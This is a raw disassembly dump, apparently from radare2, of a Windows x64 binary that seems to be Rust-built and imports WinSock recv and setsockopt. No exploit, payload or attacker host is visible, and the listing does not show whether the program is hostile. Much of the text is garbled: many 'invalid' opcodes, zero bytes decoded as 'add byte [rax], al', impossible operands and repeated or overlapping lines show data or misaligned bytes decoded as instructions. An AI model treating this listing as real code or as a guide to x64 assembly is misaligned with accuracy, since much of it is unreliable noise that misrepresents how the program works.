add ecx, eax
add byte [rcx + rbp - 3], cl
mov edx, esi
inc esi
add dword [rax], eax
add byte [rax], cl
add byte [rax], al
add dh, al
test byte [rcx + rbx], ah
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rdi], cl
test dword [rdi - 2], esp
invalid
jl 0x14002648a
add byte [rdi + rdx + 0x41], sil
mov eax, dword [rbp + 0x278]
add byte [rax], al
add byte [rcx - 0x75], cl
mov ch, 8
add al, byte [rax]
add byte [rcx + 0x3b], cl
xchg ebp, eax
rol byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x13], dh
mov eax, 0xe8000000
mov bh, 0x66
invalid
mov dword [rax + rdx*8], esi
add al, byte [rax]
add byte [rax], al
add byte [rcx], dl
add byte [rcx + 0xf], al
xchg ebp, eax
mov dword [rcx + 8], 0xff8041c7
add dword [rbp + 0x48], esi
or cl, byte [rdx]
or cl, byte [rdx]
or cl, byte [rdx]
or cl, byte [rdx]
nop dword [rax + rax]
clc
add cl, byte [rdi]
invalid
add byte [rax], al
add byte [rbp + 0x31], al
in eax, dx
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x45], cl
enter 0x15ff, 0xffffffffffffffbf
jmp 0x1008796fe
dec dword [rbx + rcx*4 - 0x7b]
add byte [rax], ah
add byte [rax], al
add cl, ch
jp 0x140029869
invalid
lea ebx, [rsi + rcx]
lock add byte [rax], al
add byte [rcx], dh
shl byte [rsi + 0x66], cl
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax + 0xf0a133c], al
invalid
test byte [rdx + rax], ch
add al, byte [rax]
add al, byte [rax]
add byte [rax - 1], cl
ret 0x3949
invalid
inc edx
cmp ebp, edx
add byte [rax], al
invalid
and eax, 0xfffffff8
sub eax, ebx
cmp dword [rcx + rdi - 0x18], ecx
invalid
shl byte [rsi + 0x66], cl
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax + 0xf0a133c], al
or cl, byte [rdi]
test byte [rdx + rax], ch
sub al, 2
add byte [rax], al
out dx, al
push rbp
invalid
sal byte [rsi + 8], 1
push rbp
invalid
ror byte [rax + 1], 0xf1
or byte [rsi + 0xf], ah
invalid
clc
ror dword [rcx - 9], 0xd1
invalid
invalid
add eax, edx
and eax, ecx
add byte [rax - 0x7f7f7f80], 0x80
add byte [rax + 0x4d808080], 0x85
or byte [rbp - 0x7b], 0xd8
fdiv dword [rbp + 0x21]
mov eax, dword [rcx + rax]
not ecx
xor eax, esp
ror byte [rbp + 0x21], 1
enter 0xffffffffffff854d, 0xffffffffffffffd8
add eax, 0x10
cmp eax, edx
mov dl, 0x4c
mov ecx, ebp
add al, 3
ror byte [rdi], cl
invalid
add byte [rcx - 0x80], al
cmp al, 0x10
or cl, byte [rdi]
test byte [rax + 0x48000001], bl
inc edx
invalid
add byte [rax], al
ret 0x3948
sal dword [rbp - 0x13], 1
mov eax, dword [rbp + 0x2010]
and byte [rax], al
add byte [rax - 0x75], cl
invalid
mov ch, 0x18
mov esi, dword [rbp + 0x2018]
and byte [rax], al
add byte [rax + 0x29], cl
invalid
cmp eax, ebp
or byte [rax], ah
add byte [rax], al
add byte [rax - 0x75], cl
mov ch, 0x18
and byte [rax], al
add byte [rcx - 0x44], cl
or cl, byte [rdx]
or cl, byte [rdx]
or cl, byte [rdx]
or cl, byte [rdx]
or byte [rax], ah
add byte [rax], al
lea ecx, [rax]
and byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
enter 0x1f, 0
call fcn.1401363c0
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rdx + 0x80]
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x40], esi
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x40], esi
mov rcx, qword [rbp + 0x1fd0]
mov rdx, qword [rbp + 0x1ff8]
call case.0x140133e24.221
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
invalid
add al, ch
hlt
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x40], xmm6
mov rcx, qword [rbp + 0x1fd8]
call fcn.1401389b0
adc byte [rax], al
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x40], xmm6
mov rax, qword [rbp + 0x1ff0]
and byte [rax], ah
add byte [rax], al
mov eax, recv
add byte [rax], al
lea esi, [rsp + 0x28]
cmp eax, dword [rax]
add byte [rcx - 0x7d], cl
invalid
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
mov ecx, esi
adc al, 0
mov ecx, ebx
ror byte [rdi], 0x84
or rax, qword [r8]
add byte [rax - 0x77], cl
ret
add ecx, dword [rdi]
test dword [rdx + rcx], esp
add byte [rax], al
invalid
or al, 0
add byte [rax - 0x75], cl
mov rdx, qword [rdi + 0x50]
mov r8b, 1
call fcn.14002dff0
test rax, rax
je 0x14002a024
mov rbx, rax
cmp byte [rax], 2
jne 0x14002a024
lea rdx, [0x14016adf3]
lea r14, [rsp + 0x28]
mov r8d, 0x2f
mov rcx, r14
call fcn.14002de70
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x18]
mov rcx, r14
call fcn.14002e0e0
lea rdx, [0x14016ae22]
mov r8d, 2
jmp 0x14002b368
push rbx
or byte [rbx + rcx*4 + 0x43], cl
sbb byte [rcx + rcx*4 - 0xf], cl
call fcn.14002e0e0
mov rbx, qword [rdi + 0x20]
test rbx, rbx
je 0x14002b391
mov r15, qword [rdi + 0x28]
lea rdx, [0x14016ae38]
lea r14, [rsp + 0x28]
mov r8d, 3
mov rcx, r14
call fcn.14002de70
mov r8, qword [r15 + 0x20]
lea r15, [rsp + 0x48]
mov rcx, r15
mov rdx, rbx
call fcn.14002e6a0
mov rcx, r14
mov rdx, r15
jmp 0x14002b0ae
sbb cl, byte [rax]
add byte [rax], al
ja 0x14002a988
mov r12, qword [rdi + 0x50]
mov rcx, r14
mov rdx, r12
mov r8b, 1
call fcn.14002dff0
mov r15, rax
mov rcx, r14
mov rdx, r12
mov r8b, 5
call fcn.14002dff0
mov rbx, rax
mov rcx, r14
mov rdx, r12
mov r8b, 7
call fcn.14002dff0
add byte [rax], al
add byte [rax], al
test r15, r15
je 0x14002a024
test rbx, rbx
je 0x14002a024
mov r12, rax
test rax, rax
dec dword [rdi]
test byte [rbx + 0x48fffff5], bl
test ebx, ebx
je 0x14002a024
mov r12, rax
test rax, rax
je 0x14002a024
xor al, 0
add byte [rbp - 0x7b], cl
dec dword [rdi]
test byte [rcx + 0x48fffff4], dl
test ebx, ebx
je 0x14002a024
mov r12, rax
test rax, rax
je 0x14002a024
cmp byte [r15], 2
jne 0x14002a024
cmp byte [rbx], 4
jne 0x14002a024
cmp byte [r12], 4
jne 0x14002a024
mov rax, qword [rbx + 8]
cmp rax, 2
mov r14d, recv
sbb r14, 0xffffffffffffffff
cmp rax, 2
clc
add cl, byte [rax - 0x73]
add eax, 0x140405
add byte [rax], al
add eax, 0x48000038
mov ecx, ebp
mov edx, edi
mov r8b, 2
call fcn.14002dff0
test r14, r14
je 0x14002a024
mov rbx, rax
test rax, rax
je 0x14002a024
cmp byte [r14], 2
jne 0x14002a024
lea rdx, [0x14016adbd]
lea r15, [rsp + 0x28]
sub byte [rcx - 0x48], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
stc
stc
call fcn.14002de70
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x18]
mov rcx, r15
call fcn.14002e0e0
lea rdx, [0x14016aee1]
fadd qword [rcx]
adc al, 0
fadd qword [rcx]
adc al, 0
mov r8d, reloc.WS2_32.dll_setsockopt
mov rcx, r15
call fcn.14002de70
add byte [rdi], cl
mov dh, 3
add byte [rdi], cl
mov dh, 3
cmp rax, 2
je 0x14002b331
adc dword [rsi], eax
add byte [rax], al
adc dword [rsi], eax
add byte [rax], al
cmp eax, 3
jne 0x14002b375
lea rdx, [0x140204aa2]
lea rcx, [rsp + 0x28]
invalid
sub byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov r8d, 1
call fcn.14002de70
mov rax, qword [rbx + 0x18]
test rax, rax
test eax, eax
test eax, eax
ror byte [rdi], 0x84
add ax, word [rax]
add byte [rbx + rcx*4 + 0x7b], cl
or byte [rax - 0x73], cl
add al, 0x40
je 0x14002b0b3
mov r15, qword [rbx + 8]
lea rax, [rax + rax*2]
lea r12, [r15 + rax*8]
lea esp, [rdi + rax*8]
and al, 0xc7
lea rbx, [0x14016aef8]
lea r14, [rsp + 0x28]
invalid
sub byte [rcx - 0x48], al
add eax, 0x4c000000
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
cli
xor byte [rax], al
add byte [rcx - 0x75], cl
invalid
cmp edi, esp
mov edx, dword [rdi + 0x50]
mov r8b, 1
mov al, 1
mov al, 1
call fcn.14002dff0
test rax, rax
je 0x14002a024
invalid
mov rbx, rax
cmp byte [rax], 3
jne 0x14002a024
insb byte [rdi], dx
invalid
invalid
invalid
insb byte [rdi], dx
invalid
lea rdx, [0x14016af2a]
lea rcx, [rsp + 0x28]
and al, 0x28
and al, 0x28
mov r8d, 0x33
xor eax, dword [rax]
add byte [rax], al
call fcn.14002de70
mov eax, dword [rbx + 0x18]
test eax, eax
jnp 0x14002ade8
add dword [rax + rax], edx
add byte [rax], al
add byte [rax], al
lea rdx, [0x14016aef6]
lea r14, [rsp + 0x28]
mov r8d, 2
mov rcx, r14
call fcn.14002de70
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x18]
mov rcx, r14
call fcn.14002e0e0
lea rdx, [0x14016aefd]
lea rcx, [rsp + 0x28]
mov r8d, 0x2d
call fcn.14002de70
jmp 0x14002b0b3
lea rdx, [0x1401da461]
enter 0x2a, 0
mov bh, 0xc0
loope 0x14002b8ce
inc dword [rbx]
add byte [rax], al
add eax, dword [rax]
add byte [0x14002bcd6], ah
invalid
invalid
lea ecx, [0x1402082a8]
test rbx, rbx
je 0x14002bc72
cmp ebx, 1
jne 0x14002c85f
mov rsi, qword [rbp]
mov rax, qword [rsi + 0x18]
mov ecx, dword [0x1402153fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
retf 0x8d48
mov dword [rcx], edx
add byte [rax], al
cmp rax, rcx
jne 0x14002bcd9
invalid
retf 0x8d48
jp 0x14002bbeb
mov eax, dword [rsi + 0x20]
inc eax
je 0x14002c7c9
and dil, r15b
ror byte [rdi], 0x84
pop rdi
or eax, dword [rax]
add byte [rcx - 0x6916dfba], cl
add byte [rax], al
add byte [rax - 0x75], cl
jne 0x14002bc76
mov dword [rsi + 0x20], eax
jmp case.0x140010662.214
mov rsi, qword [rbp]
mov rax, qword [rsi + 8]
mov ecx, dword [0x1402153fc]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
lea rcx, [rcx + 0x51]
cmp rax, rcx
jne 0x14002bca9
mov eax, dword [rsi + 0x38]
inc eax
ror byte [rdi], 0x84
invalid
or eax, dword [rax]
invalid
ror byte [rdi], 0x84
mov dword [rsi + 0x38], eax
jmp case.0x140010662.214
xchg esi, eax
ret
mov ecx, dword [0x58]
lea eax, [rax + 0x51]
cmp byte [rcx], r8b
add byte [rax], al
add bl, ch
invalid
lea rcx, [rsi + 0x10]
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
ret
adc eax, dword [rax]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
ret
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
lea rax, [rax + 0x51]
mov qword [rsi + 0x18], rax
sbb bh, al
and byte [rcx], r8b
add byte [rax], al
invalid
adc byte [rcx], 0
add byte [rax], al
add byte [rax - 0x77], cl
sbb dil, r8b
sbb bh, al
sbb bh, al
and byte [rcx], r8b
and byte [rcx], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
mov dh, 0x45
sub byte [rax - 0x77], cl
pop rbp
invalid
push 0x48704588
jo case.0x14002bb97.203
cmp dword [rbp + 0x30], 0
xor byte [rax], al
sal byte [rdi + rsi + 0x48], 0x8b
invalid
push rbp
xor byte [rbx + rcx*4 + 0x45], cl
lea rcx, [rbp + 0x60]
invalid
invalid
lea rcx, [rbp + 0x60]
invalid
adc dword [r8], r8d
mov esi, eax
test eax, eax
sal byte [rbp + 0x4c], 0x48
lea edx, [0x1401de362]
sbb eax, dword es:[rax]
lea rdx, [0x1401de362]
sbb eax, dword es:[rax]
lea rcx, [rbp + 0x60]
lea ecx, [rbp + 0x60]
mov r8d, 1
mov eax, 1
add byte [rax], al
call fcn.140140330
adc dword [r8], r8d
mov rsi, rax
test rax, rax
test eax, eax
invalid
test eax, eax
jne 0x14002bd8b
mov rcx, qword [rbp + 0x68]
cmp qword [rbp + 0x60], 0
je 0x14002c0ed
ror byte [rdi], 1
invalid
test dword [rbp + 0x48000009], ecx
mov dword [rdi], 0
add byte [rax], al
push qword [rax - 0x4ef414fb]
add dword [rax - 0xdf16ff], esi
mov al, 1
invalid
and bh, bh
invalid
invalid
dec dword [rax - 0x77]
invalid
in al, 0xeb
or cl, byte [rax - 0x75]
jge 0x14002c0eb
adc eax, 0x13bf72
invalid
invalid
rcr dword [0x12c01f323], 0x1d
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rax, r14
test eax, eax
and ecx, dword [rdi]
test dword [rdx + 0x4d000000], edx
mov edi, dword [rsi - 1]
sbb eax, 0x107d8349
adc dword [rdx + 4], esi
push rsp
invalid
test ah, al
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax + 0x29], cl
sti
adc cl, ch
pop qword [rax]
add byte [rax], al
call fcn.140167160
ud2
mov eax, dword [rbp + 0xb0]
or dword [rax], eax
add byte [rax + rcx*4 + 0x64], al
enter 0x660b, 0xffffffffffffffc7
enter recv, 1
pop rsp
inc edx
add byte [rax], al
add byte [rax - 0x75], cl
test dword [rax + 0x48000000], esp
mov edx, dword [rbp + 0xa8]
add byte [rax - 0x49], al
invalid
push rsp
and al, 0x10
push rbp
push r15
push rdi
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
movdqa xmmword [rsp + 0x20], xmm6
mov rcx, qword [rbp - 0x40]
call fcn.14012dcd0
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
cmp byte [rbx + 0x5f], bl
cmp byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
stosb byte [rdi], al
add byte [rax], 0
add byte [rsi + 0xf], ah
jg 0x14002cdd4
and al, 0x20
mov rcx, qword [rbp + 0x80]
call fcn.14012dcd0
movdqa xmm6, xmmword [rsp + 0x20]
and byte [rax - 0x7d], cl
invalid
cmp byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
and byte [rax - 0x7d], cl
invalid
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rsi + 0xf], ah
jg 0x14002ce24
and al, 0x20
stosb byte [rdi], al
add byte [rax], 0
add byte [rsi + 0xf], ah
jg 0x14002ce24
and al, 0x20
mov rcx, qword [rbp + 0x78]
call fcn.14012dcd0
movdqa xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov qword [rsp + 0x10], rdx
and bl, byte [rcx]
adc byte [rax], al
nop word cs:[rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push rsi
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
add byte [rax], al
pop rbp
adc eax, 0xfffffd1
mov dh, 0x5c
and al, 0x39
lea r14, [rsi + 8]
mov r15, qword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
or eax, 0x1e8466
cmp dword [rbx + 8], 0
sbb dword [rsi], 0
in al, 0x82
invalid
add byte [rax - 0x77], cl
and al, 0x20
sti
invalid
add byte [rax - 0x77], cl
and al, 0x20
cmp byte [rcx + rax - 0x3d], dh
pop rsi
mov bl, 0x1d
add byte [rax + 0x63], cl
add al, 0x81
invalid
mov ecx, 0x38335b1b
xor edi, dword [rax]
cmp esi, dword [0x1bfec08ba]
add eax, 0x8d480000
or eax, 0x1db2f3
mov dl, 0x1d
invalid
add al, 0x80
enter 0xffffffffffffc901, 0x44
lea ecx, [rcx + rcx*4]
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rdi + rcx + 0x45], cl
cmc
sub dword [rdx + 2], 0
add byte [rcx + rcx*4 + 0x7c], cl
and al, 0x58
mov eax, esi
jl 0x14002fa56
push rax
add byte [rax - 0x77], cl
mov ah, 0x24
lock add byte [rax], al
add byte [rax - 0x75], cl
invalid
add byte [rax], al
dec dword [rbx + rcx*4 + 0x5c]
and al, 0x40
mov al, 0
add byte [rax], al
mov dh, 0x51
add dword [rcx - 0x7d], eax
loop 0x140031064
ror byte [rcx], 0xd0
add byte [rbp + rcx*4 + 0x71], cl
add al, 0xeb
and byte [rbp + rcx*4 + 0x71], cl
add al, cl
loop 0x140031078
or eax, 0x3718d4c
add byte [rdi], cl
mov ch, ah
add byte [r8], al
mov esp, eax
add bl, dh
movq mm1, qword [rsp + 0xe0]
mov esi, dword [rsp + 0x90]
add al, 0
add byte [rcx - 0x44], al
add dword [rax], eax
add byte [rax], al
mov edi, ebp
add dword [rax], eax
add byte [rax - 0x75], cl
push rsp
and al, 0x50
invalid
add dword [rax], eax
add byte [rbx + rcx*4 - 0x4c], cl
mov ah, 0x24
mov byte [rcx], al
add byte [rax], al
test rdi, rdi
je 0x140031e7f
js 0x140035821
invalid
mov dh, 5
std
invalid
mov ah, 0x24
mov byte [rcx], al
add byte [rax], al
mov ecx, edi
add cl, ch
in al, dx
and byte [rax], al
add byte [rax - 0x7d], cl
jl 0x140031d41
pop rax
add byte [rdi], cl
test byte [rdi + 0x48000003], dl
lea edi, [rsp + 0x240]
dec dword [rax - 0x77]
mov esp, 0x29024
add byte [rax - 0x73], cl
add eax, 0xfffeff2f
outsd dx, dword [rsi]
test byte [rax + rax*2], ah
add al, byte [rax]
add bl, dh
movq mm1, qword [rsp + 0x250]
push rax
add al, byte [rax]
invalid
push rax
add al, byte [rax]
add bl, dh
movq qword [rcx + 0x10], mm1
invalid
test dword [rcx + 0x9000001], esi
sal edi, 0xc1
add byte [rax], al
add byte [rax], cl
loop 0x140034b89
mov eax, eax
and al, 0x40
add al, byte [rax]
add al, byte [rax]
add byte [rax - 0x7b], cl
invalid
mov edx, dword [rdx]
add byte [rdi], cl
or eax, dword [rcx - 0x41]
add dword [rax], eax
add byte [rax], al
mov ecx, dword [0x58]
add byte [rax], al
add al, 0x48
mov dword [rsp + 0x250], ebx
add byte [rax], al
add al, byte [rax]
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0xd0
add byte [rax], al
add byte [rbx + rcx*4 - 0x74], cl
and al, 0x88
add byte [rax], al
add al, ch
sub dword [rbp - 0x49f00001], ebx
lodsb al, byte [rsi]
and al, 0xa0
add dword [rax], eax
add byte [rax - 0x80], al
std
invalid
add byte [rax - 0x7d], cl
jge 0x14003520b
add byte [rsp + rbp*8 + 0x4c], dh
mov eax, dword [rbp - 8]
add byte [rax], al
add bl, dh
movq qword [rbx + 0x10], mm1
adc byte [rax + 0x39], cl
ror dword [rax + 0xf], 1
retf 0x8948
mov dword [rsp + 0x420], ebp
lea esi, [rsp + 0xd0]
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rcx*2], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
invalid
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x44], cl
and al, 0
add al, 0
add byte [rcx + rcx*4 - 0x54], cl
and al, 8
add al, 0
add byte [rax - 0x77], cl
test dword [rax - 0x73], 0xd024b4
add byte [rax], al
mov ecx, ebp
add eax, 0x1a8f57
nop
add byte [rax], al
add byte [rax + 0x39], cl
sti
test eax, eax
lea edi, [rax + rax*2]
div dword [rdi + riz*4 + 0x4e]
cmp dword [rbp + rsi + 8], esp
test edi, edi
push 0xffffffffffffffda
sbb eax, 0x58b4800
retf
fstp dword [0x18dd5aafe]
mov eax, esp
add byte [rax], al
add al, ch
stosb byte [rdi], al
xchg ebx, eax
adc al, byte [rax]
add dword [rax], eax
add byte [rsi + 0xf], ah
jg 0x140037bfe
and al, 0x10
add dword [rax], eax
add byte [rcx + rcx*4 - 0x3b], al
and al, 0xc8
add dword [rax], eax
add byte [rax], al
add al, byte [rax]
add byte [rbx + rcx*4 - 0x4d], cl
lock add dword [rax], eax
add byte [rax - 0x3f], cl
shl ebp, 4
shl ebp, 4
sbb eax, 0x4dd23100
mov eax, ebp
mov ecx, dword [rsp + 0x50]
add byte [rax - 0x75], cl
and al, 0x48
xchg dword [rdi - 1], eax
invalid
and al, 0x58
push 0x247c8b48
jo 0x140037e4d
add byte [rax - 0x75], cl
pushfq
and al, 0x88
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rdi + rcx + 0x48], 0x8b
or eax, 0x1dd544
test al, 0
add byte [rax], al
add byte [rdi], cl
test dword [rsi + rdi*8 - 0x46160001], ebp
invalid
and al, 0xb0
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rdi*8], ah
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
lea ecx, [rsp + 0xa8]
and byte [rax - 0x73], cl
and al, 0x48
and al, 0xa8
or dword [rax + 1], 0x48e0ffc8
cmp dword [rsp + 0xb8], 0
and al, 0xb0
mov dword [rdi + 0x18], eax
sub byte [rax - 0x77], cl
pop rsp
and al, 0x20
add byte [rax - 0x75], cl
and al, 0x48
add byte [rax], al
mov dword [rsp + 0x40], eax
add byte [rax], al
add bl, dh
movq mm7, qword [rsp + 0xd0]
or byte [rcx + rax - 0x40], 0xff
loopne 0x14003818a
invalid
movq rax, mm6
and al, 0x40
lea edx, [0x14020849c]
or al, 0x8a
and al, 0x69
add dword [rax], eax
and al, 0x30
adc dword [rsi + 0x18], ecx
and al, 0x54
add byte [rax], al
lea eax, [0x140204680]
sub byte [rbx + 0x7402287b], al
xor dword [rax - 0x73], ecx
and al, 0x28
adc bl, r13b
cmovns eax, edi
invalid
ror byte [rdi], 0x84
sti
add dword [rax], eax
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 5
adc eax, 0x41001d8d
mov eax, 0x60
invalid
leave
movsb byte [rdi], byte [rsi]
and al, 0xb0
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], cl
and al, 0xb8
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*8], ah
and al, 0xc0
and al, 0xc0
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add dh, al
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rbx], al
lea ecx, [rcx + rax*8]
test al, 0
add byte [rax], al
or byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
loope 0x14003cd2c
mov esi, dword [rsp + 0x38]
mov ecx, edi
test dword [rsp + rdi*8 - 1], ecx
dec dword [rdi]
invalid
rol byte [rdx], 0
add byte [rax - 0x75], cl
and al, 0x38
and al, 0x48
add dword [rax], eax
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
test byte [rax + rax], al
add byte [rcx - 0x75], cl
or al, 0x58
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rcx*2], fs
add dword [rax], eax
add byte [rbp - 0x77], cl
invalid
xlatb
clc
add byte [rax], al
add byte [rdi], cl
test dword [rsi - 2], edx
push rsi
invalid
invalid
movsb byte [rdi], byte [rsi]
and al, 0x18
add dword [rax], eax
add byte [rbp + rcx*4 + 0x7c], cl
and al, 0x40
rol byte [rax], 0x45
xor ebx, ebx
ror dword [rcx + riz - 0x2f], 0x48
shl ecx, 3
sub ebx, ecx
adc al, 0x4c
add eax, ebx
and al, 0x78
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add bl, dh
movq mm0, qword [rsp + 0xe0]
invalid
add byte [rsi + 0xf], ah
jg 0x140044642
and al, 0xc0
add byte [rax], al
add byte [rcx - 0x73], cl
mov ch, 0x60
add dword [rax], eax
add byte [rcx - 0x7d], cl
cmp dword [rbp + 0x160], 0
je 0x1400447cb
mov qword [rsp + 0x128], rsi
cmp dword [rbp + 0x160], 0
and al, 0x28
add dword [rax], eax
add byte [rax - 0x73], cl
test byte [rax + rbp], ah
sub byte [rcx], al
add byte [rax], al
mov qword [rsp + 0x70], rax
sub byte [rcx], al
add byte [rax], al
and al, 0x78
mov dword [rsp + 0x80], eax
sbb al, 0
mov byte [rax], 0
add byte [rcx + 0x8003dc1], cl
add byte [rax], al
ror byte [rax + 0x2430244c], 0x3f
ror byte [rdi], 0x85
movsd dword [rdi], dword [rsi]
add byte [rax], al
add cl, ch
mov al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [0x140060ff0], bh
cmp eax, ecx
jmp 0x120ce9004
and al, 0x30
mov rsi, qword [rsp + 0x50]
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rdi], rbx
mov dword [rdi + 8], eax
mov ah, 0x24
nop
add dword [rax], eax
add byte [rax - 0x7f], cl
invalid
test al, 1
add byte [rax], al
xor byte [rax - 0x73], cl
sbb al, 0xc1
cmp esi, esp
jmp 0x18defb4ba
in eax, dx
adc byte [rcx - 0x80], al
in eax, 1
add byte [rax], al
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x140053229
and al, 0x60
and al, 0x40
add dword [rax], eax
add byte [rax], al
jo case.0x140010662.418
add byte [rax], al
add bl, dh
movq qword [rsp + 0x78], mm0
invalid
js 0x140053252
mov dword [rsp + 0x88], 8
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add bl, dh
movq qword [rsp + 0x90], mm0
div byte [rbp + riz + 0x48]
mov ecx, dword [rbx - 8]
add byte [rax], al
lea ecx, [rsp + 0x40]
xor cl, ch
loope 0x140054e21
invalid
add cl, ch
or bh, dl
invalid
invalid
in eax, dx
add al, 0xed
add byte [rax], al
add byte [rax], al
movzx eax, byte [0x1402153f8]
retf 0x8348
invalid
add al, 0x4c
mov dword [rdx + 0x10], eax
mov eax, dword [rdx + 0x30]
invalid
pxor mm3, mm0
rol byte [rdi], cl
invalid
push rsi
clc
mov dh, 0x44
and al, 0x48
test al, al
and al, 0x40
push rax
rcl byte [rdi]
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
mov ecx, dword [rax + 0x20]
adc al, 0xec
invalid
and al, 0x30
mov r9d, 0x81
mov eax, 0x30
add byte [rax], al
add byte [rbp - 0x77], al
ret 0x1f0f
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x77], al
ret 0x1f0f
mov rcx, r9
mov r9d, r8d
and r9b, 0xf
loope 0x14005ef79
loope 0x14005ef79
shr r10b, 4
cmp r9b, 0xa
mov r11d, 0x37
cmovb r11d, eax
cmovb ebx, eax
add r11b, r9b
mov byte [rsp + rcx + 0x36], r11b
lea r9, [rcx - 1]
inc dword [rcx - 0x80]
clc
adc byte [rbp - 0x77], al
sal byte [rbx - 0x31], 1
inc dword [rcx - 0x80]
clc
adc byte [rbp - 0x77], al
sal byte [rbx - 0x31], 1
add rcx, 0xfffffffffffffffe
cmp rcx, 0x80
ja 0x14005efd7
mov eax, 0x81
sub rax, r9
add rcx, rsp
add rcx, 0x38
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x140204ae8]
mov r9d, 2
mov rcx, rdx
mov dl, 1
call fcn.140059040
nop
add rsp, 0xb8
ret
lea r8, str.librarycore_src_fmt_num.rs
mov edx, 0x80
call fcn.140160e60
ud2
call qword [rax - 0x473b7eb8]
add byte [rax], al
add bl, al
lea r8, str.librarycore_src_fmt_num.rs
mov edx, 0x80
add byte [rax], al
add al, ch
push 0xf000ffd
invalid
add byte [rax], al
add al, ch
push 0xf000ffd
or ecx, esp
int3
test ecx, ecx
mov r8d, r9d
cmovs r8, rax
mov rcx, rdx
mov eax, 0x27
lea r10, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
adc eax, 0x148167
cmp r8, 0x2710
jb 0x1400611e3
mov esi, 0x27
movabs r11, 0x346dc5d63886594b
nop word cs:[rax + rax]
